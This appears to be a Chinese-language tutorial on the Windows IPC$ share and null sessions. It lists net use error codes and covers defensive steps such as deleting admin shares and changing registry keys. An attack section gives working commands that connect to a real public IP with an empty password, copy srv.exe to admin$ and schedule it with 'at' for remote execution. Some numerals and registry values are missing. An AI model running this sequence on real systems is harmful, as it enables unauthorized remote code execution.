. 什么是IPC$

. IPC$攻击方式

. 漏洞检测与防御措施

. IPC$和windows的SMB共享都是复用了445端口，它们都基于SMB协议实现，但是IPC$的作用范围更大一些，它是服务器间进程间通信方式

    ) 可以枚举帐号: 当然对方服务器也可以禁用枚举

    ) 共享文件: 基于命名管道named pipe

    The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server's named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.

    ) 执行系统指令

. IPC$的登录验证方式可分为

    ) 匿名anonymous IPC$: 空账号，空密码可访问，但是匿名IPC$的权限往往较低

    ) 非匿名IPC$: 需要帐号密码的验证，不过这反过来也为黑客提供了一种暴力破解windows系统账户密码的方式

. IPC$登录后共享哪些目录/文件是可以配置的，如果该共享目录/文件的列表为空，则IPC$登录后无法进行文件共享。早上windows server系统上默认配置了几个IPC$共享目录

    ) 所有的逻辑盘(c$,d$,e$……)

    ) 系统目录winnt或windows(admin$)

错误号5(拒绝访问)：很可能你使用的用户不是管理员权限的，先提升权限

错误号51(Windows无法找到网络路径): 网络有问题；

错误号53(找不到网络路径)：

    ) ip地址错误

    ) 目标未开机

    ) 目标lanmanserver服务未启动

    ) 目标有防火墙(端口过滤)

错误号67(找不到网络名)：

    ) 你的lanmanworkstation服务未启动

    ) 目标删除了ipc$

错误号1219(提供的凭据与已存在的凭据集冲突)：你已经和对方建立了一个ipc$，请删除再连

错误号1326(未知的用户名或错误密码)

错误号1792(试图登录，但是网络登录服务没有启动)： 目标NetLogon服务未启动(连接域控会出现此情况)

错误号2242(此用户的密码已经过期)：目标有帐号策略，强制定期要求更改密码  

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows

https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

copy srv.exe \\121.40.65.98\admin$

net time \\127.0.0.1

\\127.0.0.1 的当前时间是 // ::

　　

at \\127.0.0.1 : srv.exe

用at命令启动srv.exe吧(这里设置的时间要比主机时间快)

　　

net time \\127.0.0.1

如果时间到了，就说明指令已经执行了

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a

http://zhaogao.blog.51cto.com/205189/53712

https://www.giac.org/paper/gcih/466/ipc-share-exploit-methodology-chinese-attackers/103860

. 察看本地共享资源: net share

. 删除共享(每次输入一个）

net share ipc$ /delete

net share admin$ /delete

net share c$ /delete

net share d$ /delete(如果有e,f,……可以继续删除)

. 停止server服务: net stop server /y(重新启动后server服务会重新开启)

. 禁止server服务器自启动

. 修改注册表

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]

AutoShareServer(DWORD)的键值改为:。

# OR

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]

AutoShareWks(DWORD)的键值改为:。

# 如果上面所说的主键不存在，就新建(右击-新建-双字节值)一个主健再改键值  

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a

http://www.pc6.com/InfoView/Article_42319.html